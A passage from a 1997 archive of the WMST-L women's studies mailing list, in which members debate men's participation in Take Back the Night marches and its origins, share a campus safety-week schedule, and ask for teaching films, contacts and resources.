doesn't > appear that way in the movie and it may in fact not be that way in a > society that rewards those men the most highly as best meeting the standard > of traditional male socialization. > > Sarah Ullman > let the wonderful human beings who happen to have penises organize the rest of their sex class and do whatever they need to do. where is the organized male outrage at the treatment of women and children? off with robert bly or john gray, or what? denouncing (or joining) promise keepers or the million man march or what? ========================================================================= Date: Thu, 25 Sep 1997 08:59:04 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Karola Alford Organization: Eastern Illinois University Subject: Re: take back the night MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Frances E. Wood wrote: > > let the wonderful human beings who happen to have penises organize the rest > of their sex class and do whatever they need to do. I knew when I posted my opinion of including men in TBTN that it would generate debate. Being new to this listserv, I guess I wasn't prepared for the level of *anger* that would accompany the debate. I have received some off-list responses to my post that imply I am some sort of demon, perhaps a man in disguise, or just plain stupid. I am entitled to my opinion on this issue and am saddened that we cannot discuss this without personal attack. While I understand, validate, and in some cases, share the anger and outrage, I do *not* believe that war is a very effective solution to the divisions in our society. I remain a *female* feminist who stubbornly believes that violence against women is not a ""women's issue,"" but is a *society* issue that demands the attention of all human beings. I believe that excluding and judging people solely on the basis of gender is wrong, whether it is done by men or by women. Karola Alford Eastern Illinois University cfka@eiu.edu ========================================================================= Date: Thu, 25 Sep 1997 08:44:03 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Anne Carson Subject: Labor Relations & Women's Studies The School of Industrial and Labor Relations has several faculty who are active in the area of women's studies, including such topics as immigrant women workers, family issues, and women's labor history. The address is: Ives Hall, Cornell University, Ithaca, NY 14853. The phone number for the graduate admissions office is 607-255-2227. Hope this is helpful. Anne Carson Cornell University carson@law.mail.cornell.edu ========================================================================= Date: Thu, 25 Sep 1997 08:08:26 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: joan r saks berman Subject: Re: European review of books (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII crossposted by: Joan R. Saks Berman, Ph.D. jberman@unm.edu Albuquerque, NM I've tried to correct the formatting so that it reads better. ---------- Forwarded message ---------- Date: Wed, 17 Sep 1997 18:14:40 +0200 From: Giovanna Covi To: WISE-L@LISTSERV.FUNET.FI Subject: No Subject Thank you for posting the following message on WISE-List: WISE DIVISION ""CULTURAL PRACTICE AND COMMUNICATION"" WORKSHOP AT THE THIRD EUROPEAN FEMINIST RESEARCH CONFERENCE IN COIMBRA: LAUNCHING EUROPEAN WOMEN'= S BOOK REVIEW I am happy to inform WISE members that the workshop of the WISE Div= ision ""Cultural Practice and Communication"", which I had the priviledge to chair =in Coimbra during the workings of the Third European Feminist Research Conference this past July, has successfully reached its goal by providing a forum for an active dialogue among countries and across disciplines on the work feminists do in the humanities. Presentations by Tobe Levin (Germany), Montserrat Palau (Spain), Li= ana Borghi and Rita Svandrlik (Italy), Ailbhe Smith (Ireland), Hilda Roemer Christensen (Denmark) pointedly illustrated the state of the art of Women's Studies in their specific countries by focusing on certain selected but crucial and examplary theoretical issues that enliven the contemporary international feminist debate. Speaking from their own areas of scholarly expertise (literature, the arts, communication, history), the panelists in various ways pointed out the fruitful exchange in their disciplines between their own national specificity and the international discourse. The workshop's leading question was whether the English language which provides a useful and unrenounceable international means of communication doesn't too often risk being passively employed by non-anglophone speakers as a vehicle which translates through cooptation and appropriation all socio-cultural realities into concepts and articulations which are only proper to anglophone contexts, especially the U.S. and England. Consensus was reached on the need for European feminists to create and make available internationally a discourse which, although traveling in English, is less dependant on the influence of anglo-saxon cultures=D1in other words, a discourse which enriches the English language with multicultural figures, words, and ideas. To this purpose, the panelists enthusiastically welcomed and supported Tobe Levin's well-articulated proposal to launch the publication, written in English, of a European Women's Review of Books Published in Languages Other than English. The review's main target groups are academics and publishers who may otherwise remain unaware of important feminist work, simply because of a language barrier. The review's existence will depend on the volunteer work offered by WISE members who are willing to write reviews and translate publisher's catalogues as well as reviews published on feminist journals interested in collaborating. This service will enrich the international feminist scholarly community as a whole. Tobe's initiative met the approval also of a number of women in the= audience from other countries (among others, Biljana Djcinovic-Nesic from Belgrade's Women's Studies Center offered her collaboration as editor and the translation of a bibliography of Feminist Theory and Women's Studies she published in 1996, and Sara Goodman from the Center of Women's Studies in Lund, Sweden, offered her steady collaboration). I had the pleasure to conclude a successful workshop= by inviting those who had offered their committment to the birth of our Review= to contact me or Tobe in writing through the WISE-List. Now I would like to encourage the largest possible participation in a discussion that hopefully= will soon lead us to define the list of the Review's editorial board. I will never emphasize enough the importance that this list include the largest possible number of countries and areas of expertise and expect to hearfrom an enthusiastic group of possible collaborators soon. Please contact Tobe Levin or Giovanna Covi, if you are: 1)intersted in joining the editorial group (which should be extensive and representative of our whole constituency); 2) ready to suggest and translate prsentations/reviews of feminist books in various fields not yet available in English; 3) willing to contribute short (2-3 page) reviews. Giovanna Covi Facolt=88 di Lettere e Filosofia Universita' di Trento via S.Croce 65 38100 TRENTO - ITALY Fax +39-461-881751 Facolt=88 di Lettere e Filosofia Universita' di Trento via S.Croce 65 38100 TRENTO - ITALY Fax +39-461-881751 ========================================================================= Date: Thu, 25 Sep 1997 10:13:53 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Nancy Abinojar Subject: Re: take back the night In-Reply-To: <01IO0TN6Z4MW95POS1@vms.cis.pitt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII At the Michigan campus in Ann Arbor, there has been a separate rally for men, after the women as a group have departed to travel a route through campus where women have been assaulted. I like the idea of men doing child care. I think it usually controversial because at issue is what role do men serve at a rally for and about women. I think that support from men may better be served at male gatherings where women aren't welcome or well received. santana usually after the On Wed, 24 Sep 1997 13:34:50 -0400 CSMITH@VMS.CIS.PITT.EDU (Christine Smith) wrote: >The issue of whethger men should participate in TBTN marches is one >that >comes up alot. When I was teaching at Ball State, the TBTN march was >women-only, and the men did a separate vigil and did childcare. at the >end was a rally and spekout that included both women and men. >To me, TBTN marches are about empowering women so that we can feel safe >and >not need men to protect us (from...?). I think the marches should be >women-only, symbolizing desire to feel safe as women without men. >Christine Smith >10casmith@axpvm1.cis.pitt.edu >casmith@lclark.edu ========================================================================= Date: Thu, 25 Sep 1997 09:40:39 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Deborah J.C. Morrow"" Subject: Take Back the Night In-Reply-To: <342A6E28.5F64@ux1.cts.eiu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable WARNING -- This is a LONG, LONG post. I began this thread by asking what other women's studies programs did, or their communities did, about the Take Back the Night. I would like to ta= ke this opportunity to say thank you to all who have answered my query. I wa= s actually after the thought of when it first started, and where it might have actually begun. All responses that I got were through the listserve= , none personally, so you have as much information as I have received. There is a campus/community group in southern Illinois called the Souther= n Illinois Women's Safety Week Committee (formerly, long, long ago called t= he Coalition for Safety), and this group puts together a calendar of events for a week, usually during the month of October. Events have been held consecutively since 1983, and probably earlier than that (that's just whe= n the information began to be archived). This year's events are as follows= : ****************** The Southern Illinois Women's Safety Week Committee would like to extend = an open invitation for everyone to participate in the events listed below. Several items are tentative, so be sure and check the Daily Egyptian clos= er to the actual dates! Domestic Violence Safety Awareness Program Monday, 9/29/7, 6:30pm (Carbondale Public Library) This program is sponsored by the Jackson County Family Violence Task For= ce,=20 and will begin at 6:30pm. =20 Death and the Maiden (1995 Feature Film) Tuesday, 9/30/97, 7:30-9:30pm (Longbranch Coffeehouse) Sigourney Weaver comes to terms with a sexual assault by coming face to face with her perpetrator (parental guidance strongly suggested for unde= r=20 17).=20 Women's Self-Defense -- Beginning Wednesday, 10/1/97, 6-9pm (Call 536-5531 to Register) This is a two-week course (10/1 & 10/8), and open to any women from the=20 SIUC and surrounding community. Individuals will be taught basic self=20 defense moves, as well as assertiveness skills and prevention awareness.= =20 Please come dressed to participate. A $3 refundable fee is necessary to= =20 enter the SIUC Rec Center. =20 The Clothesline Project Thursday, 10/2/97, 10-3 (SIUC Faner Breezeway) A display of t-shirts honoring victims of sexual assault and domestic=20 violence will be on display during this time. Individuals will be given= =20 the opportunity to create a shirt of their own. Take Back The Night March & Rally =9197 Friday, 10/3/97, 7pm (Gather at The Interfaith Center) Come join together and ""Take Back the Night"" in Carbondale. This peacef= ul=20 demonstration march will begin at 7pm at the Interfaith Center, and proc= eed=20 to the Carbondale Downtown Pavilion where a rally will begin at 7:30pm=20 featuring music and speakers. We encourage you to have children bring=20 flashlights, and for you to bring your own candles! ""Alias Grace"" -- A Novel by Margaret Atwood October 9-11, 8pm (Kleinau Theater) A feminist murder mystery based on the controversial conviction of Grace= =20 Marks, a 19th century servant-girl who, at the age of 16, was sentenced = to=20 life in prison for the brutal murder of her employer and his mistress. =20 This play was adapted and directed by Elyse Pineau. AutoCare Clinic Saturday, October 11, 9-11am (Call 453-3655 to register) Basic auto care and repair on your own car. Hands-on training taught by= =20 and for women. ""Writing About Family Violence"" Wednesday, October 15, 3pm (Ohio Room, Student Center) An interdisciplinary panel will speak on topics pertaining to the writin= g=20 about family violence -- autobiographical fiction, urban violence and it= s=20 effect on the family through experimental fiction, social science domest= ic=20 violence, and shaken baby death. Speakers will be Beth Lordan, Ricardo=20 Cruz, Ann-Janine Morey, and Joan McDermott. River to River Runners -- Women's Center Benefit Saturday, October 18 (Evergreen Park) The River to River Runners are once again sponsoring a Run/Walk Benefit = for=20 the Carbondale Women's Center. This race is for women only. Men are=20 welcome to volunteer their time and assistance. Baby strollers (racing=20 strollers) are not allowed in the race. Register for the benefit by call= ing=20 Anne Knewitz, 457-5443. Tables will be at the Student Center on Tuesday, Wednesday, and Thursday from 9-4pm. T-shirts and literature will be available. The design is a full color designed entitled ""Dancers,"" priced at $15/L, XL and $17/XXL. For more information on the week's activities, please call Leena Batra (453-3655) or Carolyn Prinz (549-4807, ext. 235). ******************************** Now, the events are sponsored by many groups, both on- and off-campus, an= d the Southern Illinois Women's Safety Week Committee's only responsibility (which no one tells us to do; we donate our time and efforts willingly) i= s the actual march and rally. =20 For many years we marched as a community in solidarity (women, men, children), and for a few years we marched as a gender (women marching, me= n meeting at the rally --- women having one march, men having one march, an= d meeting up as two groups who then march together to the rally point). Wh= en the SIWSW Committee solidified their mission and purpose, the concensus w= as that changes can only be brought about by a change in society, so we marc= h together now. Our marches have averaged around 300 individuals for the last several years. Each of the events listed on the schedule have been going on for quite some time, and each have their own story of how they have come about. Thank you for listening to the above, and for your comments that I thoroughly enjoyed listening to. =20 Deb Morrow Women's Studies Program Southern Illinois University at Carbondale corzines@siu.edu _____..---=3D=3D=3D=3D=3D=3D+*+=3D=3D=3D=3D= =3D=3D=3D---.._____ ___Deb Morrow________,-=3D'=3D=3D=3D=3D=3D____ =3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D _____=3D=3D=3D=3D=3D`=3D (._corzines@siu.edu____) - _-=3D_/ `------=3D+=3D-------' / /__...---=3D=3D=3D'---+---_'=20 '----'---.___ - _ =3D _.-' Explore all your options -- `-------' something might surprise you! ========================================================================= Date: Thu, 25 Sep 1997 10:09:43 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Janna King Subject: Post undergraduate internships Dear Group: I am curious about internship possiblities in the Northwest area (especially Seattle or surrounding cities). I am graduating with a BA in Theatre Performance with a Women's Studies Minor. I am looking for interships possiblities for a year before I go into Grad school in Women's Studies. I would like to focus on Women's History, or Women Helping Women through politics. If anyone has suggestions, please e-mail me at my address below. Thank You Janna M. T. King KING_J@LUCY.FINDLAY.EDU ========================================================================= Date: Thu, 25 Sep 1997 10:31:08 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Ines Shaw Subject: U.S. Marine Corps Women Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" In ""'Night to His Day': The Social Construction of Gender"" (Richardson, Taylor, and Whittier's __Feminist Frontiers: IV__, 1997), Judith Lorber says that ""women recruits in the U.S. Marine Corps are required to wear make-up--at a minimum, lipstick and eye shadow--and they have to take classes in makeup, hair care, poise, and etiquette"" (p. 40, left column, middle of first indented paragraph). The source given is Christine William's 1989 book __Gender Differences at work: ...__ Given all the changes that have occurred in the last few years, does anyone know what has happened in this regard? (and assuming there has been a change, when it occurred, etc.). Thanks in advance. Ines Ines Shaw, Ph.D. ishaw@badlands.nodak.edu Linguistics/Women's Studies 318-C South Engineering North Dakota State University (701) 231-9632 office Tri-College University (701) 231-1047 fax Fargo, ND 58105 ========================================================================= Date: Thu, 25 Sep 1997 10:30:56 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Ines Shaw Subject: language and gender course Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Hi, I'm revising a course I teach on language and gender and would like to be in touch with others who have also taught a course on these topics to exchange thoughts on assignments and textbooks we've used or might use. Please respond privately to ishaw@badlands.nodak.edu Thanks. Ines Shaw Ines Shaw, Ph.D. ishaw@badlands.nodak.edu Linguistics/Women's Studies 318-C South Engineering North Dakota State University (701) 231-9632 office Tri-College University (701) 231-1047 fax Fargo, ND 58105 ========================================================================= Date: Thu, 25 Sep 1997 11:46:01 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: hagolem Subject: Re: Take Back the Night Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" At 02:36 AM 9/24/97 -0400, you wrote: >Although I am not certain this was the first TBTN march, in 1978 Women >Against Violence Against Women (WAWAV) held a national conference in San >Francisco on ""Feminist Perspectives on Pornography"" and staged a Take Back >the Night March through San Francisco's porn district. The conference led to >the publication of Take Back the Night (Laura Lederer, ed. 1980), a book of >readings by antipornography feminists. > >Gloria Cowan the first take back the night marches antedated the San Francisco march by a long time. In fact, when I was asked to write something for the anthology you mentoned, I had no idea it included an antiporgraphy slant to the whole anthology, since none of the take back the nightmarches bgefrore that did, to my knowledge. I am more of a free speech advocate and felt burned by contributing an introduction to an anthology i hadnot read first, and have never done that again. We had marches before that in Boston and on Cape Cod. The focus was against violence against women and the issues we marched about and rallied about were rape, sexual harassment on the streets and blaming the woman for violence. I would say that the first marches were in the early mid 70's. Like maybe '75? The idea was that women had been trained be afraid to go out at night without male protection, and that together we would demand to have the right to use the streets at night. We would no longer allow a woman alone at night to need to have excuses or special pleading to defend her presence on the streets. marge piercy hagolem@capecod.net > ========================================================================= Date: Thu, 25 Sep 1997 13:30:20 +0000 Reply-To: Women's Studies List Sender: Women's Studies List From: Amy Speer Subject: Back Issue of the *NWSA Journal* MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII The library at Appalachian State University is searching for a copy of Vol. 2, no. 3 Summer 1990 to complete their set of back issues. They would be happy to purchase it from anyone or would, of course, be happy to accept a contribution. Thank you and Please Respond Privately Amy Speer Managing Editor, *NWSAJ* speeraw@appstate.edu ========================================================================= Date: Thu, 25 Sep 1997 13:53:14 EST Reply-To: Women's Studies List Sender: Women's Studies List From: ""Gina Oboler, Anthropology & Sociology, Ursinus College"" Subject: Re: take back the night In the time I've been on WMST-L, it seems to me the debate about the inclusion of men in TBTN marches has surfaced several times. Though I'm usually a proponent of including men in all things feminist, I've accepted the reasoning for TBTN marches being a women's only event. I don't really want to rehash that issue. However, in the course of reading these messages, suddenly the son Holly Near and Ronnie Gilbert do, ""Take Back the Night"", popped into my head. Does anyone know more about the context of this song? I believe it was written by a man, and on a tape I have Ronnie identifies it as such. I thought it was meant to describe the events that gave rise to the first TBTN demo -- but I don't know that for sure. One of the lines is, ""Now out in the street there's a vigil, with thousands of candles for light. Arm-in-arm women are marching with men -- they sing `Take Back the Night'."" This seems to imply that men's participation marked the earliest TBTN marches. Does anyone know more about that song and how it came to be written? This would also throw light on the initial questions about the origins of these marches. -- Gina ========================================================================= Date: Thu, 25 Sep 1997 11:57:19 +0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Monteverde Institute Subject: Re: Monteverde Institute address Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Please have your students contact the Monteverde Institute at: mviimv@sol.racsa.co.cr regarding courses in women and development. Our mailing address is Apartado 69-5655, Monteverde de Puntarenas, Costa Rica. Many thanks. Lisa Wirtanen Executive Assistant ========================================================================= Date: Thu, 25 Sep 1997 12:12:17 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Jeffrey Gauthier Subject: take back the night In-Reply-To: <9709251707.AB15756@uofport.edu> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Karola Alford wrote: > I knew when I posted my opinion of including men in TBTN that it would > generate debate. While I understand, validate, and in some > cases, share the anger and outrage, I do *not* believe that war is a > very effective solution to the divisions in our society. I remain a > *female* feminist who stubbornly believes that violence against women is > not a ""women's issue,"" but is a *society* issue that demands the > attention of all human beings. I believe that excluding and judging > people solely on the basis of gender is wrong, whether it is done by men > or by women. I guess I'd say that exclusion of a group always requires some justification and shouldn't be by default (much like the exercise of authority by one person or group over another always requires justification and shouldn't be exercised by default). In the case of TBN (and many other feminist activities from which men have been excluded), I've never thought that the exclusion of men expressed some negative judgment on the individual characters of all men, but factors relating to the nature and political efficacy of the march. Because the ability of women to walk the streets at night *without* the company of men is the point of the rally, and because that point is a politically mportant one from a feminist perspective, the exclusion of men has a justification that anyone supportive of feminist aims (woman or man) can accept. In that sense, the exclusion isn't comparable at all to the kinds of exclusions from social practices and privileges that have historically been imposed on women by men. Having participated in support/child-care rallies for men at TBN marches in Ann Arbor and Portland, I think these can be useful alternatives to male accompaniment on the marches if some men feel they're too ""supportive"" to be left out. Jeff Gauthier University of Portland gauthier@uofport.edu ========================================================================= Date: Thu, 25 Sep 1997 12:27:01 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Barbara Watson Subject: amazons Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" An interesting text is Pierre Samuel. Amazonen, Kriegerinnen und Kraftfrauen.[Amazons, warrior women, power women]. The original French edition (unfortunately I do not have the original title)was published by Editions Complexes, Brussels. Also M. Herskovit's study of the kingdom of Dahomey mentions all-female sections in the Dahomey army. Maria-Barbara Watson-Franke Department of Women's Studies San Diego State University San Diego, CA 92182 mbwatson@mail.sdsu.edu ========================================================================= Date: Thu, 25 Sep 1997 14:22:31 -0500 Reply-To: sbasu@DEPAUW.EDU Sender: Women's Studies List From: Srimati Basu Subject: films about violence against women MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Hi folks. I'm interested in finding out whether you've used any recent (documentary or feature) films in teaching about violence against women, particularly domestic violence and rape including acquaintance rape. I'm going to teach a January term class on violence against women where we'll have plenty of time to watch lots of movies: The Accused, Bhaji on the Beach and Question of Silence (also Calling the Ghosts, I hope) are already on my list. I'd be particularly interested in movies that appear to be ""about"" something else for the most part but also talk about these kinds of violence to make a particular point. What's been particularly good for classes? I'd be happy to compile a list of responses and post to the list. Srimati Basu Women's Studies, Depauw University ========================================================================= Date: Thu, 25 Sep 1997 14:25:39 -0500 Reply-To: sbasu@DEPAUW.EDU Sender: Women's Studies List From: Srimati Basu Subject: TBTN and race/ethnicity MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Have those of you who've been able to organize really big and booming TBTN marches been able to raise enthusiastic support from women of color and partiicularly from immigrant women? Were these in ""women-only"" marches? In what ways were the communities involved? Srimati Basu ========================================================================= Date: Thu, 25 Sep 1997 16:49:12 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Regina Marie Buccola Subject: Re: films about violence against women Comments: To: Srimati Basu In-Reply-To: <342AB9F7.4150@depauw.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Even though you mentioned it already in your post, let me put in a loud second for the motion in favor of _Calling the Ghosts_. Not only does the film confront head-on an unfortunately current issue, but it also ends with a very empowering message (the central women going to the Hague to fight back with international legal assistance against their attackers). The students in an international women course last year were positively riveted by it and said as much in the course evaluation at the end of the semester. gina buccola ========================================================================= Date: Thu, 25 Sep 1997 16:53:57 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Emily Toth (by way of Emily Toth )"" Subject: GOSSIP IN ACADEMIA--addendum Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" WMST-L readers: I neglected to mention that this conference is in NEW ORLEANS. Come gossip about gossip in New Orleans (what better place?) Call for Participants: Conference session on GOSSIP IN ACADEMIA South Central Modern Language Association, November 12-14, 1998 I am seeking participants for a conference session/panel discussion on gossip in academic life. Some possible topics: networking, background checks, cronyism vs. meritocracy, academic urban legends, careers wounded or enhanced, romantic and financial secrets, academic personages as subjects and objects of gossip, lying and blurting, literary role models and cautionary tales. I'D PARTICULARLY LIKE PARTICIPANTS who might answer such women-related questions as these: How is networking especially useful and enhancing for women? Can secretaries and women faculty members form useful alliances? What do we say to ""this friend who has this problem"" with sexual harassment from a senior colleague in her department, one who'll vote on her tenure? What do women know--and men don't--about academic men? How do we reveal off-the-record information, such as about sexual harassers? How are women portrayed in academic novels? What do academic women gossip about--and should we? I welcome inquiries, correspondence, whatever. The session proposal needs to be completed by mid-late October, 1997. And please share this with anyone else who might be interested. Emily Toth Professor of English & Women's Studies Allen Hall Louisiana State University Baton Rouge, LA 70803 e-mail: etoth@unix1.sncc.lsu.edu office phone: 504-388-3152 English Dept. fax: 504-388-4129 THE BOOK TO BUY: MS. MENTOR'S IMPECCABLE ADVICE FOR WOMEN IN ACADEMIA by Emily Toth. University of Pennsylvania Press, 1-800-445-9880. View it on this Web site: http://www.higheredjobs.com/test2/ ========================================================================= Date: Thu, 25 Sep 1997 19:09:54 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Frances E. Wood"" Subject: Re: take back the night Comments: To: cfka@eiu.edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Karola Alford and other WMST-L Participants: 1) RE: Violence against women. I am the former program director of the Center for the Prevention of Sexual and Domestic Violence. I have spent years and worked with thousands of men (as well as women), attempting to inform and persuade that knowledge about, and actions to prevent and appropriately respond to violence against women, children, and other vulnerable persons is a *societal* issue, an *ethical* issue, a *theological* issue, an issue of *professional competency*, a *political and public policy* issue, a *health* issue, an *international* issue, a *legal*issue, and finally a justice issue--as opposed to a so-called women's issue. However, I still don't see men of good will rushing to have bake sales, or tractor pulls or 10k walks or triathlons or golf tournaments to support the local sexual assault center or battered women's shelters. I *have* seen religious congregations take those actions, however; and the majority of at least mainline, Christian congregations continue to have more active female than male participants. I eagerly await evidence of *any* significantly organized movement or activity (such as National Coalition Against Sexual Assault or the National Coalition Against Domestic Violence) by those whom John Stoltenberg refers to as ""penised persons"", not only denouncing, but also acting to end violence in society--whether against other men, children, gays, women, whomever. In the absence of same, my critique stands. 2) RE: Anger. See the excerpt below. For full text, see ""The Uses of Anger: Women Responding to Racism"", _Sister Outsider: Essays and Speeches by Audre Lorde_ (Trumansburg,NY: Crossing Press, 1984). I never cease to be amazed at the expectation that one who professes and lives out passion for justice and right relationship is required to check anger (or, more accurately, anything that is perceived as such), as a legitimate aspect of said passion, at the door. Several years ago, I wrote an essay on ""mandatory niceness"" as an impediment to healing and justice-making. I see the mandate is alive and well. This thread may seem to some to have veered far afield from WS issues. However, I want to make the case that issues of difference and the conflicts ensuing therefrom, whether dichotomized as women/men, anger/nicety, divisiveness/inclusivity, or addressed in their messier and more complex multiplicities, are the stuff of which classes in women's studies, as well as other disciplines, are made. Insofar as these remain the issues our students, colleagues, and institutions encounter daily, they remain, in my understanding WMST-L concerns. -- Frances E. Wood fwood01@emory.edu **************** For it is not the anger of Black women which is dripping down over this globe like a diseased liquid. It is not my anger that launches rockets, spends over sixty thousand dollars a second on missiles and other agents of war and death, slaughters children in cities, stockpiles nerve gas and chemical bombs, and sodomizes our daughters and our earth. ...We welcome all women who can meet us, face to face, beyond objectification and beyond guilt. -- Audre Lorde ========================================================================= Date: Thu, 25 Sep 1997 19:27:48 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Frances E. Wood"" Subject: Re: take back the night Comments: To: guathier@uofport.edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Thanks to you, Jeff, and Bill Oetjen. I appreciate your contributions of political analysis, along with historically grounded, meaningful, and creative alternatives to *me, too; me, too* forms of involvement by feminist-supportive men. One of the effects of this thread (and its coincidence with the death anniversary of the former director of Men Stopping Violence [MSV]) has been to prompt me to be in touch with my allies at MSV. This, for me, has been what Martha Stewart might call, ""a good thing."" -- Frances E. Wood fwood01@emory.edu **************** For it is not the anger of Black women which is dripping down over this globe like a diseased liquid. It is not my anger that launches rockets, spends over sixty thousand dollars a second on missiles and other agents of war and death, slaughters children in cities, stockpiles nerve gas and chemical bombs, and sodomizes our daughters and our earth. ...We welcome all women who can meet us, face to face, beyond objectification and beyond guilt. -- Audre Lorde ========================================================================= Date: Thu, 25 Sep 1997 19:24:32 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Elizabeth Homer Subject: Re: The Battle Creek National Women's Conference MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit > October 12-18, 1997 > The Battle Creek National Women's Conference is a celebration of the > principles and ideals for which Sojourner Truth stood, bringing together > women, men, communities and a nation to discuss, demonstrate and define > the current status of Women's Rights and equality in the work place, > home and society. > Presented by The Sojourner Truth 200th Anniversary Committee > Battle Creek, Michigan (about 2 hours from Chicago or Detroit) > There are 75 events, scattered around the town over the week. They are > free, yes free. There are more events scheduled per day later in the > week than on Sunday/Mon/Tues/Wed. To see the schedule and to learn > more about the speakers, which includes Sarah Weddington (Roe v Wade), > Edith Mayo (Smithsonian), Paula Casey (women's suffrage) go to the web > site: http://www.sojournertruth.org > Conference Chair: Thea Rozetta Lapham 616/372-6970 ========================================================================= Date: Thu, 25 Sep 1997 20:11:16 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Gail Dines Subject: Re: films about violence against women could someone please tell me how to order Calling the Ghosts. Thanks, Gail Dines, whe_dines@flo.org ========================================================================= Date: Thu, 25 Sep 1997 20:35:40 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Nupur D Chaudhuri Subject: Re: Back Issue of the *NWSA Journal* In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Have you contacted Indiana Press or the ex-editor of the journal? Nupur Chaudhuri, History Dept. Kansas State University, Manhattan, Kansas 66506 On Thu, 25 Sep 1997, Amy Speer wrote: > The library at Appalachian State University is searching for a copy of > Vol. 2, no. 3 Summer 1990 to complete their set of back issues. They > would be happy to purchase it from anyone or would, of course, be happy to > accept a contribution. > Thank you and Please Respond Privately > Amy Speer > Managing Editor, *NWSAJ* > speeraw@appstate.edu > ========================================================================= Date: Thu, 25 Sep 1997 22:21:50 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Jennifer Stair Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Hello Fellow Members, I am a grad student at the University of Kentucky. I am interested in starting a Women's Center on campus here. I was wondering if anyone had any information on how I would start this? My email address is jlstai0@pop.uky.edu and address is 242 Arlington Ave. Apt 6 Lexington, KY 40502. Thank you very much Jennifer Stair ========================================================================= Date: Fri, 26 Sep 1997 05:56:36 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: CE Randall/D Lynne Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Try the Women's Resource and Action Center (WRAC) at the University of Iowa. 130 N Madison Iowa City, IA 52242 (319) 335-1486. They have a long and eventful history with the city and university. I think they could offer you suggestions. Carla >Hello Fellow Members, > I am a grad student at the University of Kentucky. I am interested in >starting a Women's Center on campus here. I was wondering if anyone had >any information on how I would start this? My email address is >jlstai0@pop.uky.edu and address is 242 Arlington Ave. Apt 6 Lexington, KY >40502. Thank you very much > >Jennifer Stair ========================================================================= Date: Fri, 26 Sep 1997 09:25:47 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Pat Murphy Subject: Jo Freeman's address MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii"" Our department would like to contact Jo Freeman (author of Women: A Feminist Perspective) about the possibility of a speaking engagement. We could write her publisher and they would forward the letter, but that might take too long relative to our funding opportunity. Does anyone have an email address? Thanks Pat Pat Murphy, Ph.D. Associate Professor of Sociology Sociology Dept SUNY Geneseo Geneseo, NY 14454 murphy@uno.cc.geneseo.edu 716-245-5324 ========================================================================= Date: Fri, 26 Sep 1997 09:34:57 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Nelda K Pearson Subject: Quotation help MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Dear Friends- The gay students on my campus are planning a peaceful protest against a speaker who is suggesting that the gay life style is both a choice and an evil choice. This protest is Monday. They came to my office with their needs late yesterday afternoon and I have a massive case of the flu and can't do what i would like to help them. However, this I can do. For their fliers we would like to use the quote from the holocaust that generally refers to the idea that when the Nazi's came for specifc groups no one helped until there was no one left. It goes roughly ""when the Nazi's came for the Jews, I turned my back, when they came for the ....when they cmae for me there was no one left."" Does anyone have this quote accurately and the source. If so, please post me privately at npearson@runet.edu Thank you so much Nelda K. Pearson Chair, Race, Class, and Gender Studies ========================================================================= Date: Fri, 26 Sep 1997 08:37:00 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Phyllis Holman Weisbard Subject: where to order CALLING THE GHOSTS The video CALLING THE GHOSTS: A STORY ABOUT RAPE, WAR AND WOMEN is distributed by Women Make Movies, 462 Broadway, Suite 500 E, NY, NY 10013; 212-925-0606; orders@wmm.com Purchase price is $325. ****************** Phyllis Holman Weisbard ========================================================================= Date: Fri, 26 Sep 1997 10:07:51 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Mary L Goldschmidt Subject: Sojourner Truth Mime-Version: 1.0 